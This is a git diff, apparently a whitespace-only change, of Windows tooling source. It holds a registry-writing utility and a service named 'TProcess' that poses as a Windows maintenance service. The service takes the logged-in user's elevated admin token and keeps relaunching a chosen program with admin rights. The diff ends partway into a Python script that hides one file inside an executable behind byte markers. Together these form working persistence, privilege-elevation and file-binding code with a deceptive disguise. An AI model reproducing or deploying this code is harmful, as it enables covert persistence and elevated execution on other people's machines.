"RegistryOverride" CACHE INTERNAL "Project name for RegistryOverride") -set(RegistryOverride_MAIN_SOURCE_FILE "RegistryOverride.c" CACHE INTERNAL "Main source file for RegistryOverride") -set(RegistryOverride_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for RegistryOverride") -set(RegistryOverride_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for RegistryOverride") +set(RegistryOverride_PROJECT_NAME "RegistryOverride" CACHE INTERNAL "Project name for RegistryOverride") +set(RegistryOverride_MAIN_SOURCE_FILE "RegistryOverride.c" CACHE INTERNAL "Main source file for RegistryOverride") +set(RegistryOverride_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for RegistryOverride") +set(RegistryOverride_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for RegistryOverride") diff --git a/.inf/RegistryOverride/RegistryOverride.c b/.inf/RegistryOverride/RegistryOverride.c index 2f52ba6..2361ebf 100644 --- a/.inf/RegistryOverride/RegistryOverride.c +++ b/.inf/RegistryOverride/RegistryOverride.c @@ -1,63 +1,63 @@ -#include -#include - -// 解析注册表根键 -HKEY parseRootKey(const char* rootKeyStr) { - if (strcmp(rootKeyStr, "HKEY_CLASSES_ROOT") == 0) { - return HKEY_CLASSES_ROOT; - } else if (strcmp(rootKeyStr, "HKEY_CURRENT_USER") == 0) { - return HKEY_CURRENT_USER; - } else if (strcmp(rootKeyStr, "HKEY_LOCAL_MACHINE") == 0) { - return HKEY_LOCAL_MACHINE; - } else if (strcmp(rootKeyStr, "HKEY_USERS") == 0) { - return HKEY_USERS; - } else if (strcmp(rootKeyStr, "HKEY_CURRENT_CONFIG") == 0) { - return HKEY_CURRENT_CONFIG; - } - return NULL; -} - -int main(int argc, char* argv[]) { - if (argc != 4) { - printf("Usage: %s \n", argv[0]); - return 1; - } - - // 解析注册表根键 - char* rootKeyStr = strtok(argv[1], "\\"); - HKEY hRootKey = parseRootKey(rootKeyStr); - if (hRootKey == NULL) { - printf("Invalid root key.\n"); - return 1; - } - - // 获取剩余的注册表路径 - char* subKey = strtok(NULL, ""); - if (subKey == NULL) { - printf("Invalid registry path.\n"); - return 1; - } - - // 打开或创建注册表项 - HKEY hKey; - LONG lResult = RegCreateKeyEx(hRootKey, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); - if (lResult != ERROR_SUCCESS) { - printf("Failed to create or open registry key. Error code: %ld\n", lResult); - return 1; - } - - // 设置注册表键值 - lResult = RegSetValueEx(hKey, argv[2], 0, REG_SZ, (const BYTE*)argv[3], strlen(argv[3])); - if (lResult != ERROR_SUCCESS) { - printf("Failed to set registry value. Error code: %ld\n", lResult); - RegCloseKey(hKey); - return 1; - } - - // 关闭注册表项 - RegCloseKey(hKey); - - printf("Registry value set successfully.\n"); - - return 0; +#include +#include + +// 解析注册表根键 +HKEY parseRootKey(const char* rootKeyStr) { + if (strcmp(rootKeyStr, "HKEY_CLASSES_ROOT") == 0) { + return HKEY_CLASSES_ROOT; + } else if (strcmp(rootKeyStr, "HKEY_CURRENT_USER") == 0) { + return HKEY_CURRENT_USER; + } else if (strcmp(rootKeyStr, "HKEY_LOCAL_MACHINE") == 0) { + return HKEY_LOCAL_MACHINE; + } else if (strcmp(rootKeyStr, "HKEY_USERS") == 0) { + return HKEY_USERS; + } else if (strcmp(rootKeyStr, "HKEY_CURRENT_CONFIG") == 0) { + return HKEY_CURRENT_CONFIG; + } + return NULL; +} + +int main(int argc, char* argv[]) { + if (argc != 4) { + printf("Usage: %s \n", argv[0]); + return 1; + } + + // 解析注册表根键 + char* rootKeyStr = strtok(argv[1], "\\"); + HKEY hRootKey = parseRootKey(rootKeyStr); + if (hRootKey == NULL) { + printf("Invalid root key.\n"); + return 1; + } + + // 获取剩余的注册表路径 + char* subKey = strtok(NULL, ""); + if (subKey == NULL) { + printf("Invalid registry path.\n"); + return 1; + } + + // 打开或创建注册表项 + HKEY hKey; + LONG lResult = RegCreateKeyEx(hRootKey, subKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); + if (lResult != ERROR_SUCCESS) { + printf("Failed to create or open registry key. Error code: %ld\n", lResult); + return 1; + } + + // 设置注册表键值 + lResult = RegSetValueEx(hKey, argv[2], 0, REG_SZ, (const BYTE*)argv[3], strlen(argv[3])); + if (lResult != ERROR_SUCCESS) { + printf("Failed to set registry value. Error code: %ld\n", lResult); + RegCloseKey(hKey); + return 1; + } + + // 关闭注册表项 + RegCloseKey(hKey); + + printf("Registry value set successfully.\n"); + + return 0; } \ No newline at end of file diff --git a/.inf/Service/CMakeLists.txt b/.inf/Service/CMakeLists.txt index 06ab8a0..2e8ddd2 100644 --- a/.inf/Service/CMakeLists.txt +++ b/.inf/Service/CMakeLists.txt @@ -1,4 +1,4 @@ -set(Service_PROJECT_NAME "Service" CACHE INTERNAL "Project name for Service") -set(Service_MAIN_SOURCE_FILE "service.c" CACHE INTERNAL "Main source file for Service") -set(Service_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Service") -set(Service_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Service") +set(Service_PROJECT_NAME "Service" CACHE INTERNAL "Project name for Service") +set(Service_MAIN_SOURCE_FILE "service.c" CACHE INTERNAL "Main source file for Service") +set(Service_RESOURCE_FILE "App.rc" CACHE INTERNAL "Resource file for Service") +set(Service_MANIFEST_FILE "App.manifest" CACHE INTERNAL "Manifest file for Service") diff --git a/.inf/Service/service.c b/.inf/Service/service.c index 952f150..069a9e0 100644 --- a/.inf/Service/service.c +++ b/.inf/Service/service.c @@ -1,388 +1,388 @@ -#include -#include -#include -#include -#include -#include -#include - -#define SERVICE_NAME "TProcess" -#define SLEEP_TIME 5000 - -SERVICE_STATUS ServiceStatus; -SERVICE_STATUS_HANDLE hStatus; -TCHAR szPath[MAX_PATH]; -HANDLE hProcess = NULL; - -#pragma comment(lib, "wtsapi32.lib") -#pragma comment(lib, "userenv.lib") -#pragma comment(lib, "psapi.lib") -#pragma comment(lib, "advapi32.lib") - -// 日志记录函数 -/* -void LogEvent(LPCTSTR pszFormat, ...) { - TCHAR szMsg[256]; - HANDLE hEventSource; - LPTSTR lpszStrings[1]; - va_list pArg; - - va_start(pArg, pszFormat); - _vstprintf_s(szMsg, 256, pszFormat, pArg); - va_end(pArg); - - lpszStrings[0] = szMsg; - - hEventSource = RegisterEventSource(NULL, SERVICE_NAME); - if (hEventSource != NULL) { - ReportEvent(hEventSource, EVENTLOG_INFORMATION_TYPE, 0, 0, NULL, 1, 0, (LPCTSTR*)&lpszStrings[0], NULL); - DeregisterEventSource(hEventSource); - } -} -*/ - -// 获取当前登录用户的管理员令牌 -HANDLE GetAdminToken() { - PWTS_SESSION_INFO pSessionInfo = NULL; - DWORD dwCount = 0; - HANDLE hToken = NULL; - HANDLE hPrimaryToken = NULL; - HANDLE hUnfilteredToken = NULL; - DWORD dwSize = 0; - - // 枚举会话 - if (!WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pSessionInfo, &dwCount)) { - //LogEvent(_T("WTSEnumerateSessions failed: %d"), GetLastError()); - return NULL; - } - - // 查找活动会话 - DWORD dwSessionId = 0; - for (DWORD i = 0; i < dwCount; i++) { - if (pSessionInfo[i].State == WTSActive) { - dwSessionId = pSessionInfo[i].SessionId; - break; - } - } - WTSFreeMemory(pSessionInfo); - - if (dwSessionId == 0) { - //LogEvent(_T("No active session found")); - return NULL; - } - - // 获取用户令牌 - if (!WTSQueryUserToken(dwSessionId, &hToken)) { - //LogEvent(_T("WTSQueryUserToken failed: %d"), GetLastError()); - return NULL; - } - - // 复制令牌 - if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityIdentification, TokenPrimary, &hPrimaryToken)) { - //LogEvent(_T("DuplicateTokenEx failed: %d"), GetLastError()); - CloseHandle(hToken); - return NULL; - } - CloseHandle(hToken); - - // 获取不受限的管理员令牌 - if (!GetTokenInformation(hPrimaryToken, TokenLinkedToken, (LPVOID)&hUnfilteredToken, sizeof(HANDLE), &dwSize)) { - // 如果UAC关闭,直接使用主令牌 - if (GetLastError() == ERROR_NO_SUCH_LOGON_SESSION) { - //LogEvent(_T("UAC is disabled, using primary token")); - return hPrimaryToken; - } - //LogEvent(_T("GetTokenInformation failed: %d"), GetLastError()); - CloseHandle(hPrimaryToken); - return NULL; - } - - CloseHandle(hPrimaryToken); - return hUnfilteredToken; -} - -// 以管理员权限启动进程 -BOOL RunAsAdmin(LPCTSTR lpApplicationPath) { - HANDLE hToken = GetAdminToken(); - if (hToken == NULL) { - //LogEvent(_T("Failed to get admin token")); - return FALSE; - } - - LPVOID lpEnvironment = NULL; - STARTUPINFO si = {0}; - PROCESS_INFORMATION pi = {0}; - BOOL bResult = FALSE; - - // 创建环境块 - if (!CreateEnvironmentBlock(&lpEnvironment, hToken, FALSE)) { - //LogEvent(_T("CreateEnvironmentBlock failed: %d"), GetLastError()); - goto cleanup; - } - - // 设置启动信息 - ZeroMemory(&si, sizeof(STARTUPINFO)); - si.cb = sizeof(STARTUPINFO); - si.lpDesktop = _T("winsta0\\default"); // 允许UI交互 - si.wShowWindow = SW_SHOW; - si.dwFlags = STARTF_USESHOWWINDOW; - - // 启动进程 - bResult = CreateProcessAsUser( - hToken, - NULL, - (LPTSTR)lpApplicationPath, - NULL, - NULL, - FALSE, - CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP | NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // CREATE_NEW_CONSOLE - lpEnvironment, - NULL, - &si, - &pi - ); - - if (!bResult) { - //LogEvent(_T("CreateProcessAsUser failed: %d"), GetLastError()); - } else { - CloseHandle(pi.hThread); - // 不保存进程句柄,让进程独立运行 - CloseHandle(pi.hProcess); - //LogEvent(_T("Started target program with admin rights: %s"), lpApplicationPath); - } - -cleanup: - if (lpEnvironment) DestroyEnvironmentBlock(lpEnvironment); - if (hToken) CloseHandle(hToken); - return bResult; -} - -// 检查指定路径的进程是否在运行 -BOOL IsProcessRunning(LPCTSTR processPath) { - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot == INVALID_HANDLE_VALUE) { - //LogEvent(_T("CreateToolhelp32Snapshot failed: %d"), GetLastError()); - return FALSE; - } - - PROCESSENTRY32 pe32; - pe32.dwSize = sizeof(PROCESSENTRY32); - - if (!Process32First(hSnapshot, &pe32)) { - //LogEvent(_T("Process32First failed: %d"), GetLastError()); - CloseHandle(hSnapshot); - return FALSE; - } - - BOOL bFound = FALSE; - do { - HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); - if (hProcess != NULL) { - TCHAR szProcessPath[MAX_PATH] = {0}; - if (GetModuleFileNameEx(hProcess, NULL, szProcessPath, MAX_PATH)) { - if (_tcsicmp(szProcessPath, processPath) == 0) { - bFound = TRUE; - CloseHandle(hProcess); - break; - } - } - CloseHandle(hProcess); - } - } while (Process32Next(hSnapshot, &pe32)); - - CloseHandle(hSnapshot); - return bFound; -} - -// 服务控制处理函数 -void WINAPI ServiceCtrlHandler(DWORD dwControl) { - switch (dwControl) { - case SERVICE_CONTROL_STOP: - case SERVICE_CONTROL_SHUTDOWN: - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwCurrentState = SERVICE_STOPPED; - ServiceStatus.dwCheckPoint = 0; - ServiceStatus.dwWaitHint = 0; - - // 不终止已启动的进程 - //LogEvent(_T("Service stopped, leaving target process running")); - break; - default: - break; - } - - SetServiceStatus(hStatus, &ServiceStatus); -} - -// 服务主函数 -void WINAPI ServiceMain(DWORD argc, LPTSTR *argv) { - // 注册服务控制处理函数 - hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); - if (hStatus == 0) { - //LogEvent(_T("RegisterServiceCtrlHandler failed: %d"), GetLastError()); - return; - } - - // 初始化服务状态 - ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; - ServiceStatus.dwCurrentState = SERVICE_START_PENDING; - ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; - ServiceStatus.dwWin32ExitCode = 0; - ServiceStatus.dwServiceSpecificExitCode = 0; - ServiceStatus.dwCheckPoint = 0; - ServiceStatus.dwWaitHint = 0; - SetServiceStatus(hStatus, &ServiceStatus); - - //LogEvent(_T("Service starting")); - - // 更新服务状态为运行中 - ServiceStatus.dwCurrentState = SERVICE_RUNNING; - ServiceStatus.dwCheckPoint = 0; - ServiceStatus.dwWaitHint = 0; - SetServiceStatus(hStatus, &ServiceStatus); - - // 主服务循环 - while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { - if (!IsProcessRunning(szPath)) { - if (!RunAsAdmin(szPath)) { - //LogEvent(_T("Failed to start target program: %d"), GetLastError()); - } - } - Sleep(SLEEP_TIME); - } -} - -// 安装服务 -BOOL InstallService(LPCTSTR path) { - SC_HANDLE schSCManager = NULL; - SC_HANDLE schService = NULL; - TCHAR szFilePath[MAX_PATH]; - BOOL bSuccess = FALSE; - - // 获取当前可执行文件路径 - if (GetModuleFileName(NULL, szFilePath, MAX_PATH) == 0) { - _tprintf(_T("GetModuleFileName failed: %d\n"), GetLastError()); - goto cleanup; - } - - // 打开服务控制管理器 - schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); - if (schSCManager == NULL) { - _tprintf(_T("OpenSCManager failed: %d\n"), GetLastError()); - goto cleanup; - } - - // 创建服务 - TCHAR szCommand[MAX_PATH + 50]; - _stprintf_s(szCommand, MAX_PATH + 50, _T("\"%s\" /start \"%s\""), szFilePath, path); - - schService = CreateService( - schSCManager, // SCM数据库 - SERVICE_NAME, // 服务名 - SERVICE_NAME, // 显示名 - SERVICE_ALL_ACCESS, // 访问权限 SERVICE_ALL_ACCESS - SERVICE_WIN32_OWN_PROCESS, // 服务类型 - SERVICE_AUTO_START, // 启动类型 - SERVICE_ERROR_NORMAL, // 错误控制类型 - szCommand, // 服务二进制文件路径 - NULL, // 不依赖其他服务 - NULL, // 不使用标签 - NULL, // 不使用密码 - NULL, // 本地系统账户 - NULL // 无密码 - ); - - if (schService == NULL) { - _tprintf(_T("CreateService failed: %d\n"), GetLastError()); - goto cleanup; - } - - // 设置服务描述 - SERVICE_DESCRIPTION sd; - sd.lpDescription = _T("Maintain the normal operation of some services in Windows"); - ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); - - _tprintf(_T("Service installed successfully\n")); - bSuccess = TRUE; - -cleanup: - if (schService != NULL) CloseServiceHandle(schService); - if (schSCManager != NULL) CloseServiceHandle(schSCManager); - return bSuccess; -} - -// 卸载服务 -BOOL UninstallService() { - SC_HANDLE schSCManager = NULL; - SC_HANDLE schService = NULL; - BOOL bSuccess = FALSE; - - // 打开服务控制管理器 - schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); - if (schSCManager == NULL) { - _tprintf(_T("OpenSCManager failed: %d\n"), GetLastError()); - goto cleanup; - } - - // 打开服务 - schService = OpenService(schSCManager, SERVICE_NAME, DELETE); - if (schService == NULL) { - _tprintf(_T("OpenService failed: %d\n"), GetLastError()); - goto cleanup; - } - - // 删除服务 - if (!DeleteService(schService)) { - _tprintf(_T("DeleteService failed: %d\n"), GetLastError()); - goto cleanup; - } - - _tprintf(_T("Service uninstalled successfully\n")); - bSuccess = TRUE; - -cleanup: - if (schService != NULL) CloseServiceHandle(schService); - if (schSCManager != NULL) CloseServiceHandle(schSCManager); - return bSuccess; -} - -// 主函数 -int _tmain(int argc, TCHAR *argv[]) { - if (argc > 1) { - if (_tcsicmp(argv[1], _T("/install")) == 0 && argc > 2) { - if (!InstallService(argv[2])) { - return 1; - } - } else if (_tcsicmp(argv[1], _T("/uninstall")) == 0) { - if (!UninstallService()) { - return 1; - } - } else if (_tcsicmp(argv[1], _T("/start")) == 0 && argc > 2) { - _tcscpy_s(szPath, MAX_PATH, argv[2]); - - SERVICE_TABLE_ENTRY ServiceTable[] = { - { (LPTSTR)SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain }, - { NULL, NULL } - }; - - if (!StartServiceCtrlDispatcher(ServiceTable)) { - //LogEvent(_T("StartServiceCtrlDispatcher failed: %d"), GetLastError()); - return 1; - } - } else { - _tprintf(_T("Usage:\n")); - _tprintf(_T(" %s /install \"path\" - Install service to launch \"path\" with admin rights\n"), argv[0]); - _tprintf(_T(" %s /uninstall - Uninstall service\n"), argv[0]); - _tprintf(_T(" %s /start \"path\" - Start service (internal use)\n"), argv[0]); - return 1; - } - } else { - _tprintf(_T("Usage:\n")); - _tprintf(_T(" %s /install \"path\" - Install service to launch \"path\" with admin rights\n"), argv[0]); - _tprintf(_T(" %s /uninstall - Uninstall service\n"), argv[0]); - _tprintf(_T(" %s /start \"path\" - Start service (internal use)\n"), argv[0]); - return 1; - } - - return 0; +#include +#include +#include +#include +#include +#include +#include + +#define SERVICE_NAME "TProcess" +#define SLEEP_TIME 5000 + +SERVICE_STATUS ServiceStatus; +SERVICE_STATUS_HANDLE hStatus; +TCHAR szPath[MAX_PATH]; +HANDLE hProcess = NULL; + +#pragma comment(lib, "wtsapi32.lib") +#pragma comment(lib, "userenv.lib") +#pragma comment(lib, "psapi.lib") +#pragma comment(lib, "advapi32.lib") + +// 日志记录函数 +/* +void LogEvent(LPCTSTR pszFormat, ...) { + TCHAR szMsg[256]; + HANDLE hEventSource; + LPTSTR lpszStrings[1]; + va_list pArg; + + va_start(pArg, pszFormat); + _vstprintf_s(szMsg, 256, pszFormat, pArg); + va_end(pArg); + + lpszStrings[0] = szMsg; + + hEventSource = RegisterEventSource(NULL, SERVICE_NAME); + if (hEventSource != NULL) { + ReportEvent(hEventSource, EVENTLOG_INFORMATION_TYPE, 0, 0, NULL, 1, 0, (LPCTSTR*)&lpszStrings[0], NULL); + DeregisterEventSource(hEventSource); + } +} +*/ + +// 获取当前登录用户的管理员令牌 +HANDLE GetAdminToken() { + PWTS_SESSION_INFO pSessionInfo = NULL; + DWORD dwCount = 0; + HANDLE hToken = NULL; + HANDLE hPrimaryToken = NULL; + HANDLE hUnfilteredToken = NULL; + DWORD dwSize = 0; + + // 枚举会话 + if (!WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pSessionInfo, &dwCount)) { + //LogEvent(_T("WTSEnumerateSessions failed: %d"), GetLastError()); + return NULL; + } + + // 查找活动会话 + DWORD dwSessionId = 0; + for (DWORD i = 0; i < dwCount; i++) { + if (pSessionInfo[i].State == WTSActive) { + dwSessionId = pSessionInfo[i].SessionId; + break; + } + } + WTSFreeMemory(pSessionInfo); + + if (dwSessionId == 0) { + //LogEvent(_T("No active session found")); + return NULL; + } + + // 获取用户令牌 + if (!WTSQueryUserToken(dwSessionId, &hToken)) { + //LogEvent(_T("WTSQueryUserToken failed: %d"), GetLastError()); + return NULL; + } + + // 复制令牌 + if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityIdentification, TokenPrimary, &hPrimaryToken)) { + //LogEvent(_T("DuplicateTokenEx failed: %d"), GetLastError()); + CloseHandle(hToken); + return NULL; + } + CloseHandle(hToken); + + // 获取不受限的管理员令牌 + if (!GetTokenInformation(hPrimaryToken, TokenLinkedToken, (LPVOID)&hUnfilteredToken, sizeof(HANDLE), &dwSize)) { + // 如果UAC关闭,直接使用主令牌 + if (GetLastError() == ERROR_NO_SUCH_LOGON_SESSION) { + //LogEvent(_T("UAC is disabled, using primary token")); + return hPrimaryToken; + } + //LogEvent(_T("GetTokenInformation failed: %d"), GetLastError()); + CloseHandle(hPrimaryToken); + return NULL; + } + + CloseHandle(hPrimaryToken); + return hUnfilteredToken; +} + +// 以管理员权限启动进程 +BOOL RunAsAdmin(LPCTSTR lpApplicationPath) { + HANDLE hToken = GetAdminToken(); + if (hToken == NULL) { + //LogEvent(_T("Failed to get admin token")); + return FALSE; + } + + LPVOID lpEnvironment = NULL; + STARTUPINFO si = {0}; + PROCESS_INFORMATION pi = {0}; + BOOL bResult = FALSE; + + // 创建环境块 + if (!CreateEnvironmentBlock(&lpEnvironment, hToken, FALSE)) { + //LogEvent(_T("CreateEnvironmentBlock failed: %d"), GetLastError()); + goto cleanup; + } + + // 设置启动信息 + ZeroMemory(&si, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.lpDesktop = _T("winsta0\\default"); // 允许UI交互 + si.wShowWindow = SW_SHOW; + si.dwFlags = STARTF_USESHOWWINDOW; + + // 启动进程 + bResult = CreateProcessAsUser( + hToken, + NULL, + (LPTSTR)lpApplicationPath, + NULL, + NULL, + FALSE, + CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP | NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // CREATE_NEW_CONSOLE + lpEnvironment, + NULL, + &si, + &pi + ); + + if (!bResult) { + //LogEvent(_T("CreateProcessAsUser failed: %d"), GetLastError()); + } else { + CloseHandle(pi.hThread); + // 不保存进程句柄,让进程独立运行 + CloseHandle(pi.hProcess); + //LogEvent(_T("Started target program with admin rights: %s"), lpApplicationPath); + } + +cleanup: + if (lpEnvironment) DestroyEnvironmentBlock(lpEnvironment); + if (hToken) CloseHandle(hToken); + return bResult; +} + +// 检查指定路径的进程是否在运行 +BOOL IsProcessRunning(LPCTSTR processPath) { + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) { + //LogEvent(_T("CreateToolhelp32Snapshot failed: %d"), GetLastError()); + return FALSE; + } + + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hSnapshot, &pe32)) { + //LogEvent(_T("Process32First failed: %d"), GetLastError()); + CloseHandle(hSnapshot); + return FALSE; + } + + BOOL bFound = FALSE; + do { + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); + if (hProcess != NULL) { + TCHAR szProcessPath[MAX_PATH] = {0}; + if (GetModuleFileNameEx(hProcess, NULL, szProcessPath, MAX_PATH)) { + if (_tcsicmp(szProcessPath, processPath) == 0) { + bFound = TRUE; + CloseHandle(hProcess); + break; + } + } + CloseHandle(hProcess); + } + } while (Process32Next(hSnapshot, &pe32)); + + CloseHandle(hSnapshot); + return bFound; +} + +// 服务控制处理函数 +void WINAPI ServiceCtrlHandler(DWORD dwControl) { + switch (dwControl) { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwCurrentState = SERVICE_STOPPED; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + + // 不终止已启动的进程 + //LogEvent(_T("Service stopped, leaving target process running")); + break; + default: + break; + } + + SetServiceStatus(hStatus, &ServiceStatus); +} + +// 服务主函数 +void WINAPI ServiceMain(DWORD argc, LPTSTR *argv) { + // 注册服务控制处理函数 + hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, ServiceCtrlHandler); + if (hStatus == 0) { + //LogEvent(_T("RegisterServiceCtrlHandler failed: %d"), GetLastError()); + return; + } + + // 初始化服务状态 + ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + ServiceStatus.dwCurrentState = SERVICE_START_PENDING; + ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + ServiceStatus.dwWin32ExitCode = 0; + ServiceStatus.dwServiceSpecificExitCode = 0; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + SetServiceStatus(hStatus, &ServiceStatus); + + //LogEvent(_T("Service starting")); + + // 更新服务状态为运行中 + ServiceStatus.dwCurrentState = SERVICE_RUNNING; + ServiceStatus.dwCheckPoint = 0; + ServiceStatus.dwWaitHint = 0; + SetServiceStatus(hStatus, &ServiceStatus); + + // 主服务循环 + while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { + if (!IsProcessRunning(szPath)) { + if (!RunAsAdmin(szPath)) { + //LogEvent(_T("Failed to start target program: %d"), GetLastError()); + } + } + Sleep(SLEEP_TIME); + } +} + +// 安装服务 +BOOL InstallService(LPCTSTR path) { + SC_HANDLE schSCManager = NULL; + SC_HANDLE schService = NULL; + TCHAR szFilePath[MAX_PATH]; + BOOL bSuccess = FALSE; + + // 获取当前可执行文件路径 + if (GetModuleFileName(NULL, szFilePath, MAX_PATH) == 0) { + _tprintf(_T("GetModuleFileName failed: %d\n"), GetLastError()); + goto cleanup; + } + + // 打开服务控制管理器 + schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (schSCManager == NULL) { + _tprintf(_T("OpenSCManager failed: %d\n"), GetLastError()); + goto cleanup; + } + + // 创建服务 + TCHAR szCommand[MAX_PATH + 50]; + _stprintf_s(szCommand, MAX_PATH + 50, _T("\"%s\" /start \"%s\""), szFilePath, path); + + schService = CreateService( + schSCManager, // SCM数据库 + SERVICE_NAME, // 服务名 + SERVICE_NAME, // 显示名 + SERVICE_ALL_ACCESS, // 访问权限 SERVICE_ALL_ACCESS + SERVICE_WIN32_OWN_PROCESS, // 服务类型 + SERVICE_AUTO_START, // 启动类型 + SERVICE_ERROR_NORMAL, // 错误控制类型 + szCommand, // 服务二进制文件路径 + NULL, // 不依赖其他服务 + NULL, // 不使用标签 + NULL, // 不使用密码 + NULL, // 本地系统账户 + NULL // 无密码 + ); + + if (schService == NULL) { + _tprintf(_T("CreateService failed: %d\n"), GetLastError()); + goto cleanup; + } + + // 设置服务描述 + SERVICE_DESCRIPTION sd; + sd.lpDescription = _T("Maintain the normal operation of some services in Windows"); + ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); + + _tprintf(_T("Service installed successfully\n")); + bSuccess = TRUE; + +cleanup: + if (schService != NULL) CloseServiceHandle(schService); + if (schSCManager != NULL) CloseServiceHandle(schSCManager); + return bSuccess; +} + +// 卸载服务 +BOOL UninstallService() { + SC_HANDLE schSCManager = NULL; + SC_HANDLE schService = NULL; + BOOL bSuccess = FALSE; + + // 打开服务控制管理器 + schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (schSCManager == NULL) { + _tprintf(_T("OpenSCManager failed: %d\n"), GetLastError()); + goto cleanup; + } + + // 打开服务 + schService = OpenService(schSCManager, SERVICE_NAME, DELETE); + if (schService == NULL) { + _tprintf(_T("OpenService failed: %d\n"), GetLastError()); + goto cleanup; + } + + // 删除服务 + if (!DeleteService(schService)) { + _tprintf(_T("DeleteService failed: %d\n"), GetLastError()); + goto cleanup; + } + + _tprintf(_T("Service uninstalled successfully\n")); + bSuccess = TRUE; + +cleanup: + if (schService != NULL) CloseServiceHandle(schService); + if (schSCManager != NULL) CloseServiceHandle(schSCManager); + return bSuccess; +} + +// 主函数 +int _tmain(int argc, TCHAR *argv[]) { + if (argc > 1) { + if (_tcsicmp(argv[1], _T("/install")) == 0 && argc > 2) { + if (!InstallService(argv[2])) { + return 1; + } + } else if (_tcsicmp(argv[1], _T("/uninstall")) == 0) { + if (!UninstallService()) { + return 1; + } + } else if (_tcsicmp(argv[1], _T("/start")) == 0 && argc > 2) { + _tcscpy_s(szPath, MAX_PATH, argv[2]); + + SERVICE_TABLE_ENTRY ServiceTable[] = { + { (LPTSTR)SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain }, + { NULL, NULL } + }; + + if (!StartServiceCtrlDispatcher(ServiceTable)) { + //LogEvent(_T("StartServiceCtrlDispatcher failed: %d"), GetLastError()); + return 1; + } + } else { + _tprintf(_T("Usage:\n")); + _tprintf(_T(" %s /install \"path\" - Install service to launch \"path\" with admin rights\n"), argv[0]); + _tprintf(_T(" %s /uninstall - Uninstall service\n"), argv[0]); + _tprintf(_T(" %s /start \"path\" - Start service (internal use)\n"), argv[0]); + return 1; + } + } else { + _tprintf(_T("Usage:\n")); + _tprintf(_T(" %s /install \"path\" - Install service to launch \"path\" with admin rights\n"), argv[0]); + _tprintf(_T(" %s /uninstall - Uninstall service\n"), argv[0]); + _tprintf(_T(" %s /start \"path\" - Start service (internal use)\n"), argv[0]); + return 1; + } + + return 0; } \ No newline at end of file diff --git a/.inf/SubstituteExecution/bcombine.py b/.inf/SubstituteExecution/bcombine.py index 7d2d49f..cc371bd 100644 --- a/.inf/SubstituteExecution/bcombine.py +++ b/.inf/SubstituteExecution/bcombine.py @@ -1,44 +1,44 @@ -import sys -import os - -MARKER = b"MAKEND" -FILE_START = b"FILESTART" - -def main(): - if len(sys.argv) != 4: - print("Usage: python combine.py ") - return - - input_exe = sys.argv[1] - resource_file = sys.argv[2] - output_exe = sys.argv[3] - - # 获取资源文件名 - filename = os.path.basename(resource_file) - filename_bytes = filename.encode('utf-8') - - # 读取原始exe - with open(input_exe, 'rb') as f: - exe_data = f.read() - - # 读取资源文件 - with open(resource_file, 'rb') as f: - resource_data = f.read() - - # 构建附加数据 - combined_data = ( - exe_data + - MARKER + - filename_bytes + - FILE_START + - resource_data - ) - - # 写入输出文件 - with open(output_exe, 'wb') as f: - f.write(combined_data) - - print(f"Successfully combined {input_exe} and {resource_file} into {output_exe}") - -if __name__ == "__main__": +import sys +import os + +MARKER = b"MAKEND" +FILE_START = b"FILESTART" + +def main(): + if len(sys.argv) != 4: + print("Usage: python combine.py ") + return + + input_exe = sys.argv[1] + resource_file = 